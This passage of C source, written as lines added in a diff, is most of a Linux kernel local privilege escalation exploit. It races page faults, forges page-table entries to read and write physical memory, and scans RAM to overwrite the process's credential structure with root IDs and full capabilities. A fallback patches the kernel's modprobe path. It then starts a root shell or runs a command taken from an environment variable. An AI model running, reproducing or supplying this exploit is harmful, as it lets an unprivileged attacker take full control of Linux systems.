1024UL * 1024UL; + unsigned char *stack; + pid_t pid; + + stack = mmap(NULL, stack_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (stack == MAP_FAILED) + return -1; + (void)madvise(stack, stack_size, MADV_DONTDUMP); + fflush(NULL); + pid = clone(mm_holder_main, stack + stack_size, CLONE_VM | SIGCHLD, + NULL); + if (pid < 0) { + munmap(stack, stack_size); + return -1; + } + printf("MM_HOLDER pid=%ld state=retaining_corrupted_mm cleanup=reboot_only\n", + (long)pid); + fflush(stdout); + return pid; +} + +static int launch_root_payload(void) +{ + const char *command = getenv("XARR_ROOT_COMMAND"); + const char *shell = getenv("XARR_ROOT_SHELL"); + + if (command != NULL && command[0] != '\0') { + printf("ROOT_PAYLOAD mode=command shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", "-c", command, NULL); + perror("exec root command"); + return -1; + } + if (shell != NULL && strcmp(shell, "0") != 0) { + printf("ROOT_PAYLOAD mode=interactive shell=/bin/sh\n"); + fflush(stdout); + execl("/bin/sh", "sh", "-p", NULL); + perror("exec root shell"); + return -1; + } + return 0; +} + +static void *fault_worker(void *arg) +{ + const unsigned int worker = (unsigned int)(uintptr_t)arg; + timer_t race_timers[RACE_TIMERS_PER_WORKER > 0 ? + RACE_TIMERS_PER_WORKER : 1] = { 0 }; + + if (race_cpu_profile != CPU_PROFILE_UNBOUND) { + unsigned int slot = 0; + + if (race_cpu_profile == CPU_PROFILE_COMPACT) + slot = allowed_cpu_count > 1 ? 1U : 0U; + else if (race_cpu_profile == CPU_PROFILE_SPREAD && + allowed_cpu_count > 2 && RACE_MEMBARRIER_WORKERS > 0) + slot = 1U + worker % (allowed_cpu_count - 2U); + else if (race_cpu_profile == CPU_PROFILE_SPREAD) + slot = allowed_cpu_count > 1 ? + 1U + worker % (allowed_cpu_count - 1U) : 0U; + if (set_profile_affinity(slot) != 0) + _exit(2); + } + if (RACE_TIMER_NS > 0) { + struct sigevent event; + struct itimerspec interval; + struct timespec start; + sigset_t blocked; + int signo = SIGRTMIN + 3; + + sigemptyset(&blocked); + sigaddset(&blocked, signo); + if (pthread_sigmask(SIG_BLOCK, &blocked, NULL) != 0) + _exit(2); + memset(&event, 0, sizeof(event)); + event.sigev_notify = SIGEV_THREAD_ID; + event.sigev_signo = signo; + event._sigev_un._tid = (pid_t)syscall(SYS_gettid); + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_create(CLOCK_MONOTONIC, &event, + &race_timers[timer]) != 0) + _exit(2); + } + if (clock_gettime(CLOCK_MONOTONIC, &start) != 0) + _exit(2); + start.tv_nsec += 1000000L; + if (start.tv_nsec >= 1000000000L) { + start.tv_sec++; + start.tv_nsec -= 1000000000L; + } + memset(&interval, 0, sizeof(interval)); + interval.it_value = start; + interval.it_interval.tv_sec = RACE_TIMER_NS / 1000000000UL; + interval.it_interval.tv_nsec = RACE_TIMER_NS % 1000000000UL; + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) { + if (timer_settime(race_timers[timer], TIMER_ABSTIME, + &interval, NULL) != 0) + _exit(2); + } + } + for (;;) { + char *p; + int state; + + do { + state = atomic_load_explicit(&run_state, memory_order_acquire); + if (state == 0) + sched_yield(); + } while (state == 0); + if (state == 2) + break; + + atomic_fetch_add_explicit(&active_workers, 1, memory_order_acq_rel); + if (atomic_load_explicit(&run_state, memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + continue; + } + p = atomic_load_explicit(&fault_addrs[worker % RACE_SOURCE_VIEWS], + memory_order_acquire); + if (STARTUP_WAIT_ALL_WORKERS) { + while (atomic_load_explicit(&run_state, + memory_order_acquire) == 1 && + atomic_load_explicit(&fault_release, + memory_order_acquire) == 0) + sched_yield(); + if (atomic_load_explicit(&run_state, + memory_order_acquire) != 1) { + atomic_fetch_sub_explicit(&active_workers, 1, + memory_order_acq_rel); + continue; + } + } + while (atomic_load_explicit(&run_state, memory_order_relaxed) == 1) { + ssize_t n; + + atomic_fetch_add_explicit(&fault_callers, 1, memory_order_acq_rel); + n = pwrite(sink_fd, p, 1, 0); + atomic_fetch_sub_explicit(&fault_callers, 1, memory_order_acq_rel); + (void)madvise(p, SOURCE_SIZE, MADV_DONTNEED); + (void)n; + } + atomic_fetch_sub_explicit(&active_workers, 1, memory_order_acq_rel); + } + if (RACE_TIMER_NS > 0) { + for (unsigned int timer = 0; + timer < RACE_TIMERS_PER_WORKER; timer++) + (void)timer_delete(race_timers[timer]); + } + return NULL; +} + +static void *membarrier_worker(void *arg) +{ + (void)arg; + if (set_profile_affinity(allowed_cpu_count - 1U) != 0) + _exit(2); + for (;;) { + int state = atomic_load_explicit(&run_state, memory_order_acquire); + + if (state == 2) + break; + if (state != 1) { + sched_yield(); + continue; + } + (void)syscall(SYS_membarrier, + MEMBARRIER_CMD_PRIVATE_EXPEDITED, 0, 0); + atomic_fetch_add_explicit(&membarrier_calls, 1, + memory_order_relaxed); + } + return NULL; +} + +static int prepare_large_shmem_folio(int fd) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + int rc; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return -1; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return -1; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + if (RACE_MUTATION_MODE == 4) { + rc = 0; + } else { + errno = 0; + rc = madvise(mapping, PMD_SIZE, MADV_COLLAPSE); + if (rc != 0) + fprintf(stderr, "MADV_COLLAPSE errno=%d (%s)\n", + errno, strerror(errno)); + } + munmap(reservation, 2 * PMD_SIZE); + return rc; +} + +static unsigned char *prepare_order0_shmem_folio(int fd, + void **reservation_out) +{ + void *reservation; + uintptr_t aligned; + unsigned char *mapping; + unsigned long i; + + reservation = mmap(NULL, 2 * PMD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (reservation == MAP_FAILED) + return MAP_FAILED; + aligned = ((uintptr_t)reservation + PMD_SIZE - 1) & ~(PMD_SIZE - 1); + mapping = mmap((void *)aligned, PMD_SIZE, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, + (off_t)(RACE_FILE_BASE_PGOFF * PAGE_SIZE)); + if (mapping == MAP_FAILED) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + if (madvise(mapping, PMD_SIZE, MADV_NOHUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + for (i = 0; i < PMD_SIZE; i += PAGE_SIZE) + mapping[i] = (unsigned char)(i / PAGE_SIZE); + if (madvise(mapping, PMD_SIZE, MADV_HUGEPAGE) != 0) { + munmap(reservation, 2 * PMD_SIZE); + return MAP_FAILED; + } + *reservation_out = reservation; + return mapping; +} + +static void fill_fake_ptes(uint64_t *alias, uint64_t base_pfn, uint64_t stride) +{ + unsigned long i; + unsigned long entries = FAKE_PT_PAGES * (PAGE_SIZE / sizeof(uint64_t)); + + for (i = 0; i < entries; i++) + alias[i] = ((base_pfn + i * stride) << 12) | USER_PTE_FLAGS; + atomic_thread_fence(memory_order_seq_cst); +} + +static int remap_physical_window(uint64_t *alias, char *tlb_flush_pad, + unsigned long base_pfn, + unsigned int epoch) +{ + fill_fake_ptes(alias, base_pfn, 1); + if (mprotect(tlb_flush_pad, TLB_FLUSH_PAGES * PAGE_SIZE, + (epoch & 1U) == 0 ? PROT_READ : + PROT_READ | PROT_WRITE) != 0) + return -1; + return 0; +} + +static int prepare_modprobe_helper(void) +{ + char target[64]; + struct stat st; + + if (snprintf(target, sizeof(target), "/proc/%ld/exe", + (long)getpid()) >= (int)sizeof(target)) + return -1; + for (unsigned int attempt = 0; attempt < 256; attempt++) { + unsigned int suffix = ((unsigned int)getpid() + attempt) & 0xffU; + + if (snprintf(modprobe_helper_path, + sizeof(modprobe_helper_path), "/tmp/x%02x", + suffix) >= (int)sizeof(modprobe_helper_path) || + snprintf(modprobe_marker_path, + sizeof(modprobe_marker_path), "%s.marker", + modprobe_helper_path) >= + (int)sizeof(modprobe_marker_path)) + return -1; + if (lstat(modprobe_helper_path, &st) == 0 || errno != ENOENT) + continue; + if (lstat(modprobe_marker_path, &st) == 0 || errno != ENOENT) + continue; + if (symlink(target, modprobe_helper_path) == 0) { + printf("MODPROBE_HELPER_PREPARED path=%s target=%s marker=%s\n", + modprobe_helper_path, target, + modprobe_marker_path); + fflush(stdout); + return 0; + } + } + modprobe_helper_path[0] = '\0'; + modprobe_marker_path[0] = '\0'; + return -1; +} + +static void cleanup_modprobe_helper(void) +{ + if (modprobe_helper_path[0] == '\0') + return; + if (unlink(modprobe_helper_path) == 0) + printf("MODPROBE_HELPER_CLEANUP path=%s removed=1\n", + modprobe_helper_path); + else + printf("MODPROBE_HELPER_CLEANUP path=%s removed=0 errno=%d\n", + modprobe_helper_path, errno); + fflush(stdout); + modprobe_helper_path[0] = '\0'; +} + +static int create_root_marker(void) +{ + static const char payload[] = POST_ROOT_TEXT; + int fd = open(modprobe_marker_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + 0400); + + if (fd < 0) + return -1; + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + return close(fd); +} + +static int root_marker_exists(void) +{ + struct stat st = { 0 }; + + return lstat(modprobe_marker_path, &st) == 0 && + st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400; +} + +static int trigger_modprobe(void) +{ + static const unsigned char unknown_format[] = { 0xff, 0xff, 0xff, 0xff }; + pid_t child; + int fd; + int status = 0; + + fd = open(MODPROBE_TRIGGER_PATH, + O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC | O_NOFOLLOW, 0700); + if (fd < 0) + return -1; + if (fchmod(fd, 0700) != 0 || + write(fd, unknown_format, sizeof(unknown_format)) != + (ssize_t)sizeof(unknown_format) || + close(fd) != 0) + return -1; + + child = fork(); + if (child == 0) { + execl(MODPROBE_TRIGGER_PATH, MODPROBE_TRIGGER_PATH, NULL); + _exit(errno == ENOEXEC ? 0 : 126); + } + if (child < 0 || waitpid(child, &status, 0) < 0) + return -1; + (void)unlink(MODPROBE_TRIGGER_PATH); + if (!root_marker_exists()) + return -1; + printf("MODPROBE_ROOT_MARKER uid=0 gid=0 mode=0400 child_status=%d\n", + WIFEXITED(status) ? WEXITSTATUS(status) : -1); + fflush(stdout); + return 0; +} + +static int patch_modprobe_path(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + static const unsigned char original[] = MODPROBE_PATH_ORIGINAL; + unsigned char replacement[sizeof(original)] = { 0 }; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + unsigned long candidates = 0; + + if (modprobe_helper_path[0] == '\0') + return -1; + memcpy(replacement, modprobe_helper_path, + strlen(modprobe_helper_path)); + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long offset = 0; + offset + sizeof(original) <= PAGE_SIZE; + offset++) { + unsigned char saved[sizeof(original)]; + volatile unsigned char *candidate = page_base + offset; + + if (memcmp((const void *)candidate, original, + sizeof(original)) != 0) + continue; + candidates++; + for (unsigned long i = 0; i < sizeof(saved); i++) { + saved[i] = candidate[i]; + candidate[i] = replacement[i]; + } + atomic_thread_fence(memory_order_seq_cst); + printf("MODPROBE_PATH_CANDIDATE pfn=%#lx page_offset=%#lx candidate=%lu\n", + base_pfn + page, offset, candidates); + fflush(stdout); + { + int trigger_rc = trigger_modprobe(); + + for (unsigned long i = 0; i < sizeof(saved); i++) + candidate[i] = saved[i]; + atomic_thread_fence(memory_order_seq_cst); + if (trigger_rc == 0) { + printf("MODPROBE_PATH_PATCH selected=1 restored=1 pfn=%#lx page_offset=%#lx replacement=%s\n", + base_pfn + page, offset, + modprobe_helper_path); + fflush(stdout); + return 0; + } + } + } + } + printf("MODPROBE_PATH_SCAN base_pfn=%#lx bytes=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, candidates); + fflush(stdout); + return -1; +} + + +static void *reserve_layout(uintptr_t *root_out) +{ + static const uintptr_t roots[] = { + 0x400000000000ULL, 0x3f8000000000ULL, + 0x300000000000ULL, 0x200000000000ULL + }; + unsigned int i; + + for (i = 0; i < sizeof(roots) / sizeof(roots[0]); i++) { + void *p = mmap((void *)roots[i], 2 * PUD_SIZE, PROT_NONE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE, + -1, 0); + if (p != MAP_FAILED) { + *root_out = roots[i]; + return p; + } + } + return MAP_FAILED; +} + +static int touch_file_byte(const char *p) +{ + char byte; + return pread(sink_fd, &byte, 1, 0) == 1 && pwrite(sink_fd, p, 1, 0) == 1 ? 0 : -1; +} + + + +static int patch_current_credentials(uintptr_t fake_base, + unsigned long mapped_bytes, + unsigned long base_pfn) +{ + const uint64_t pair0 = ((uint64_t)target_rgid << 32) | target_ruid; + const uint64_t pair1 = ((uint64_t)target_sgid << 32) | target_suid; + const uint64_t pair2 = ((uint64_t)target_egid << 32) | target_euid; + const unsigned long pages = mapped_bytes / PAGE_SIZE; + const unsigned long words_per_page = PAGE_SIZE / sizeof(uint64_t); + unsigned long candidates = 0; + unsigned long id_matches = 0; + + for (unsigned long page = 0; page < pages; page++) { + volatile unsigned char *page_base = + (volatile unsigned char *)fake_base + page * PAGE_SIZE; + volatile uint64_t *words = (volatile uint64_t *)page_base; + unsigned char probe; + + if (safe_read(page_base, &probe) != 0) + continue; + for (unsigned long i = 1; i + 9 < words_per_page; i++) { + volatile unsigned char *cred; + uint32_t saved_ids[8]; + uint64_t saved_permitted, saved_effective; + unsigned long usage; + + if (words[i] != pair0 || words[i + 1] != pair1 || + words[i + 2] != pair2 || words[i + 3] != pair2) + continue; + id_matches++; + usage = words[i - 1]; + if (usage == 0 || usage > 0x100000 || + words[i + 4] != 0 || words[i + 5] != 0 || + words[i + 6] != 0 || words[i + 7] != 0) + continue; + + candidates++; + printf("CRED_CANDIDATE pfn=%#lx page_offset=%#lx usage=%lu bset=%#llx ambient=%#llx\n", + base_pfn + page, + (unsigned long)((i * sizeof(*words) - 8) & + (PAGE_SIZE - 1)), + usage, (unsigned long long)words[i + 8], + (unsigned long long)words[i + 9]); + cred = (volatile unsigned char *)&words[i] - 8; + for (unsigned int id = 0; id < 8; id++) + saved_ids[id] = *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)); + saved_permitted = *(volatile uint64_t *)(cred + 56); + saved_effective = *(volatile uint64_t *)(cred + 64); + for (unsigned int id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)) = 0; + *(volatile uint32_t *)(cred + 40) = 0; + *(volatile uint64_t *)(cred + 56) = CAP_VALID_MASK_7_1; + *(volatile uint64_t *)(cred + 64) = CAP_VALID_MASK_7_1; + atomic_thread_fence(memory_order_seq_cst); + + if (getuid() == 0 && geteuid() == 0) { + printf("CRED_SCAN base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=1\n", + base_pfn, mapped_bytes, id_matches, candidates); + printf("CRED_PATCH pfn=%#lx page_offset=%#lx permitted=%#llx effective=%#llx\n", + base_pfn + page, + (unsigned long)((i * sizeof(*words) - 8) & + (PAGE_SIZE - 1)), + (unsigned long long)CAP_VALID_MASK_7_1, + (unsigned long long)CAP_VALID_MASK_7_1); + fflush(stdout); + return 0; + } + + for (unsigned int id = 0; id < 8; id++) + *(volatile uint32_t *) + (cred + 8 + id * sizeof(uint32_t)) = + saved_ids[id]; + *(volatile uint64_t *)(cred + 56) = saved_permitted; + *(volatile uint64_t *)(cred + 64) = saved_effective; + atomic_thread_fence(memory_order_seq_cst); + } + } + + printf("CRED_SCAN base_pfn=%#lx bytes=%lu id_matches=%lu candidates=%lu selected=0\n", + base_pfn, mapped_bytes, id_matches, candidates); + fflush(stdout); + return -1; +} + +static int prove_physical_rw_plan(uint64_t *alias, + uintptr_t fake_base, + unsigned long mapped_bytes, + char *tlb_flush_pad, + unsigned char *marker, + unsigned long *marker_pfn_out) +{ + const unsigned long window_pages = mapped_bytes / PAGE_SIZE; + unsigned long marker_matches = 0; + unsigned long stale_matches = 0; + unsigned long sampled_pages = 0; + unsigned int window_index = 0; + + for (unsigned int range = 0; range < phys_range_count; range++) { + for (unsigned long base_pfn = phys_ranges[range].start_pfn; + base_pfn < phys_ranges[range].end_pfn;) { + unsigned long scan_pages = + phys_ranges[range].end_pfn - base_pfn; + + if (scan_pages > window_pages) + scan_pages = window_pages; + if (remap_physical_window(alias, tlb_flush_pad, + base_pfn, + window_index) != 0) + return -1; + printf("PHYS_WINDOW_REMAP stage=proof range=%u window=%u base_pfn=%#lx pages=%lu bytes=%lu\n", + range, window_index, base_pfn, scan_pages, + scan_pages * PAGE_SIZE); + fflush(stdout); + window_index++; + for (unsigned long page = 0; page < scan_pages; page++) { + volatile unsigned char *phys = + (volatile unsigned char *)fake_base + + page * PAGE_SIZE; + unsigned long candidate_page; + unsigned char *original; + unsigned char phys_before; + unsigned char expected; + unsigned char probe; + + sampled_pages++; + if (safe_read(phys, &probe) != 0 || + memcmp((const void *)phys, MARKER_MAGIC, + sizeof(MARKER_MAGIC)) != 0) + continue; + memcpy(&candidate_page, + (const void *)(phys + 32), + sizeof(candidate_page)); + if (candidate_page >= marker_pages) + continue; + marker_matches++; + original = marker + candidate_page * PAGE_SIZE; + if (safe_read(phys + 128, &phys_before) != 0 || + phys_before != original[128]) { + stale_matches++; + continue; + } + expected = (unsigned char)(phys_before ^ 0xa5); + if (safe_write(phys + 128, expected) != 0 || + original[128] != expected) { + (void)safe_write(phys + 128, + phys_before); + stale_matches++; + continue; + } + *marker_pfn_out = base_pfn + page; + printf("ARBITRARY_PHYSICAL_RW sample_index=%lu pfn=%#lx marker_page=%lu alias_before=%u alias_after=%u write_ok=1 marker_matches=%lu stale_matches=%lu sampled_pages=%lu\n", + page, *marker_pfn_out, candidate_page, + phys_before, original[128], + marker_matches, stale_matches, + sampled_pages); + fflush(stdout); + return 0; + } + base_pfn += scan_pages; + } + } + printf("ARBITRARY_PHYSICAL_RW_NOT_VERIFIED sampled_pages=%lu marker_matches=%lu stale_matches=%lu\n", + sampled_pages, marker_matches, stale_matches); + fflush(stdout); + return 1; +} + +static int scan_escalation_interval(uint64_t *alias, + uintptr_t fake_base, + unsigned long mapped_bytes, + char *tlb_flush_pad, + unsigned long start_pfn, + unsigned long end_pfn, + const char *stage, + unsigned int *window_index, + int modprobe_available) +{ + const unsigned long window_pages = mapped_bytes / PAGE_SIZE; + + while (start_pfn < end_pfn) { + unsigned long scan_pages = end_pfn - start_pfn; + + if (scan_pages > window_pages) + scan_pages = window_pages; + if (remap_physical_window(alias, tlb_flush_pad, start_pfn, + (*window_index)++) != 0) + return -1; + printf("PHYS_WINDOW_REMAP stage=%s base_pfn=%#lx pages=%lu bytes=%lu\n", + stage, start_pfn, scan_pages, + scan_pages * PAGE_SIZE); + fflush(stdout); + if (patch_current_credentials(fake_base, + scan_pages * PAGE_SIZE, + start_pfn) == 0) + return 1; + if (modprobe_available && + patch_modprobe_path(fake_base, scan_pages * PAGE_SIZE, + start_pfn) == 0) + return 2; + start_pfn += scan_pages; + } + return 0; +} + +static int scan_escalation_ranges(uint64_t *alias, + uintptr_t fake_base, + unsigned long mapped_bytes, + char *tlb_flush_pad, + unsigned long marker_pfn, + int modprobe_available) +{ + unsigned long local_start = + marker_pfn > PHYS_LOCALITY_RADIUS_PFN ? + marker_pfn - PHYS_LOCALITY_RADIUS_PFN : PHYS_BASE_PFN; + unsigned long local_end = + marker_pfn <= ULONG_MAX - PHYS_LOCALITY_RADIUS_PFN ? + marker_pfn + PHYS_LOCALITY_RADIUS_PFN : ULONG_MAX; + unsigned int window_index = 0; + int result; + + for (unsigned int range = 0; range < phys_range_count; range++) { + unsigned long end = phys_ranges[range].end_pfn; + + if (end > LEGACY_PHYS_SCAN_LIMIT_PFN) + end = LEGACY_PHYS_SCAN_LIMIT_PFN; + result = scan_escalation_interval( + alias, fake_base, mapped_bytes, tlb_flush_pad, + phys_ranges[range].start_pfn, end, "legacy-low", + &window_index, modprobe_available); + if (result != 0) + return result; + } + + if (marker_pfn >= LEGACY_PHYS_SCAN_LIMIT_PFN) { + for (unsigned int range = 0; range < phys_range_count; range++) { + unsigned long start = phys_ranges[range].start_pfn; + unsigned long end = phys_ranges[range].end_pfn; + + if (start < local_start) + start = local_start; + if (end > local_end) + end = local_end; + result = scan_escalation_interval( + alias, fake_base, mapped_bytes, tlb_flush_pad, + start, end, "marker-locality", &window_index, + modprobe_available); + if (result != 0) + return result; + } + } + + for (unsigned int range = 0; range < phys_range_count; range++) { + unsigned long start = phys_ranges[range].start_pfn; + unsigned long end = phys_ranges[range].end_pfn; + + if (start < LEGACY_PHYS_SCAN_LIMIT_PFN) + start = LEGACY_PHYS_SCAN_LIMIT_PFN; + if (marker_pfn >= LEGACY_PHYS_SCAN_LIMIT_PFN && + start < local_start) { + unsigned long before_end = end < local_start ? + end : local_start; + + result = scan_escalation_interval( + alias, fake_base, mapped_bytes, tlb_flush_pad, + start, before_end, "high-ram", &window_index, + modprobe_available); + if (result != 0) + return result; + } + if (marker_pfn >= LEGACY_PHYS_SCAN_LIMIT_PFN && + start < local_end) + start = local_end; + result = scan_escalation_interval( + alias, fake_base, mapped_bytes, tlb_flush_pad, + start, end, "high-ram", &window_index, + modprobe_available); + if (result != 0) + return result; + } + return 0; +} + + +static int prove_root_identity(void) +{ + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + uid_t ruid, euid, suid; + gid_t rgid, egid, sgid; + char proof[64] = { 0 }; + uint64_t effective; + int fd; + ssize_t n; + int cap_rc; + + getresuid(&ruid, &euid, &suid); + getresgid(&rgid, &egid, &sgid); + cap_rc = (int)syscall(SYS_capget, &hdr, caps); + effective = ((uint64_t)caps[1].effective << 32) | caps[0].effective; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, proof, sizeof(proof) - 1) : -1; + if (fd >= 0) + close(fd); + printf("ROOT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u capget_rc=%d cap_effective=%#llx\n", + ruid, euid, suid, rgid, egid, sgid, cap_rc, + (unsigned long long)effective); + printf("ROOT_PROOF required=%d open=%d read=%ld data=%.*s\n", + root_proof_required, fd >= 0, (long)n, + n > 0 ? (int)n : 0, proof); + fflush(stdout); + return ruid == 0 && euid == 0 && suid == 0 && + rgid == 0 && egid == 0 && sgid == 0 && + cap_rc == 0 && + (effective & ROOT_REQUIRED_CAPS) == ROOT_REQUIRED_CAPS && + (!root_proof_required || + (n == (ssize_t)strlen(ROOT_PROOF_TEXT) && + memcmp(proof, ROOT_PROOF_TEXT, strlen(ROOT_PROOF_TEXT)) == 0)) ? + 0 : -1; +} + +static int prove_post_root_create(void) +{ + static const char payload[] = POST_ROOT_TEXT; + char observed[64] = { 0 }; + struct stat st = { 0 }; + int fd; + ssize_t n; + + fd = open(post_root_path, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0400); + if (fd < 0) { + printf("POST_ROOT_CREATE path=%s created=0 errno=%d (%s)\n", + post_root_path, errno, strerror(errno)); + return -1; + } + if (fchown(fd, 0, 0) != 0 || fchmod(fd, 0400) != 0 || + write(fd, payload, sizeof(payload) - 1) != + (ssize_t)(sizeof(payload) - 1)) { + close(fd); + return -1; + } + if (close(fd) != 0) + return -1; + + fd = open(post_root_path, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + n = fd >= 0 ? read(fd, observed, sizeof(observed) - 1) : -1; + if (fd >= 0) + close(fd); + if (lstat(post_root_path, &st) != 0) + return -1; + printf("POST_ROOT_CREATE path=%s created=1 uid=%u gid=%u mode=%#o read=%ld data=%.*s\n", + post_root_path, st.st_uid, st.st_gid, st.st_mode & 07777, + (long)n, n > 0 ? (int)n : 0, observed); + fflush(stdout); + return st.st_uid == 0 && st.st_gid == 0 && + (st.st_mode & 07777) == 0400 && + n == (ssize_t)strlen(POST_ROOT_TEXT) && + memcmp(observed, POST_ROOT_TEXT, strlen(POST_ROOT_TEXT)) == 0 ? + 0 : -1; +} + +static int run_exploit(int rounds) +{ + pthread_t threads[FAULT_THREADS]; + pthread_t membarrier_threads[RACE_MEMBARRIER_WORKERS > 0 ? + RACE_MEMBARRIER_WORKERS : 1]; + uintptr_t root; + uintptr_t candidate_roots[2], source_bases[2], fake_bases[2]; + void *layout; + char *dummies[2]; + char *marker, *tlb_flush_pad; + cpu_set_t groom_saved_set; + int groom_cpu = -1; + int groom_fd = -1; + int i; + int success = 0; + int winning_fd = -1; + uint64_t *winning_alias = MAP_FAILED; + unsigned long mapped_bytes = 0; + uintptr_t winning_fake_base = 0; + unsigned long winning_pmds = 0; + char *winning_source = MAP_FAILED; + unsigned long mutation_failures = 0; + struct sigaction sa = { .sa_handler = fault_signal }; + + if (getresuid(&target_ruid, &target_euid, &target_suid) != 0 || + getresgid(&target_rgid, &target_egid, &target_sgid) != 0) { + perror("capture identity"); + return 2; + } + if (target_ruid == 0 || target_euid == 0 || target_suid == 0 || + target_rgid == 0 || target_egid == 0 || target_sgid == 0) { + fprintf(stderr, "EXPLOIT_REFUSED privileged initial identity\n"); + return 2; + } + (void)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); + (void)prctl(PR_SET_DUMPABLE, 1, 0, 0, 0); + (void)prctl(PR_SET_NAME, "xarr-lpe-main", 0, 0, 0); + printf("EXPLOIT_IDENTITY uid=%u euid=%u suid=%u gid=%u egid=%u sgid=%u nnp=%d\n", + target_ruid, target_euid, target_suid, + target_rgid, target_egid, target_sgid, + prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0)); + fflush(stdout); + { + struct __user_cap_header_struct hdr = { + .version = _LINUX_CAPABILITY_VERSION_3, + .pid = 0, + }; + struct __user_cap_data_struct caps[2] = { 0 }; + int rc = (int)syscall(SYS_capget, &hdr, caps); + uint64_t effective = ((uint64_t)caps[1].effective << 32) | + caps[0].effective; + + printf("EXPLOIT_CAPS capget_rc=%d effective=%#llx\n", rc, + (unsigned long long)effective); + fflush(stdout); + } + { + int fd; + int saved_errno; + + errno = 0; + fd = open(ROOT_PROOF_PATH, O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + saved_errno = errno; + root_proof_required = + getenv("XARR_REQUIRE_ROOT_PROOF") != NULL; + printf("PRE_ROOT_PROOF required=%d open=%d errno=%d (%s)\n", + root_proof_required, fd >= 0, saved_errno, + strerror(saved_errno)); + fflush(stdout); + if (fd >= 0) { + close(fd); + return 2; + } + } + if (RACE_MUTATION_MODE == 4) { + huge_tmpfs_dirfd = open_userns_huge_tmpfs(); + if (huge_tmpfs_dirfd < 0) { + perror("prepare userns huge tmpfs"); + return 2; + } + printf("EARLY_SHMEM_PRODUCER type=userns-tmpfs mount_option=huge=always helper=%ld\n", + (long)huge_tmpfs_helper); + fflush(stdout); + } + + memset(&sa.sa_mask, 0, sizeof(sa.sa_mask)); + sa.sa_flags = SA_NODEFER; + sigaction(SIGSEGV, &sa, NULL); + sigaction(SIGBUS, &sa, NULL); + if (load_phys_scan_plan() != 0) { + fprintf(stderr, "unable to derive physical RAM scan plan\n"); + return 2; + } + if (getenv("XARR_PLAN_ONLY") != NULL && + strcmp(getenv("XARR_PLAN_ONLY"), "0") != 0) { + printf("EXPLOIT_PLAN_ONLY status=complete\n"); + fflush(stdout); + return 0; + } + + + sink_fd = (int)syscall(SYS_memfd_create, "xarray-sink", MFD_CLOEXEC); + groom_fd = (int)syscall(SYS_memfd_create, "xarray-groom", MFD_CLOEXEC); + if (sink_fd < 0 || groom_fd < 0 || ftruncate(sink_fd, PAGE_SIZE) != 0 || + ftruncate(groom_fd, PAGE_SIZE) != 0) { + perror("prepare grooming files"); + return 2; + } + if (pwrite(groom_fd, "G", 1, 0) != 1) { + perror("populate grooming file"); + return 2; + } + + marker = mmap(NULL, marker_pages * PAGE_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (marker == MAP_FAILED) { + perror("marker mmap"); + return 2; + } + (void)madvise(marker, marker_pages * PAGE_SIZE, MADV_NOHUGEPAGE); + for (unsigned long page = 0; page < marker_pages; page++) { + unsigned char *p = (unsigned char *)marker + page * PAGE_SIZE; + memcpy(p, MARKER_MAGIC, sizeof(MARKER_MAGIC)); + memcpy(p + 32, &page, sizeof(page)); + p[128] = (unsigned char)(page ^ 0x5a); + } + printf("MARKER_SPRAY pages=%lu bytes=%lu\n", marker_pages, + marker_pages * PAGE_SIZE); + tlb_flush_pad = mmap(NULL, TLB_FLUSH_PAGES * PAGE_SIZE, + 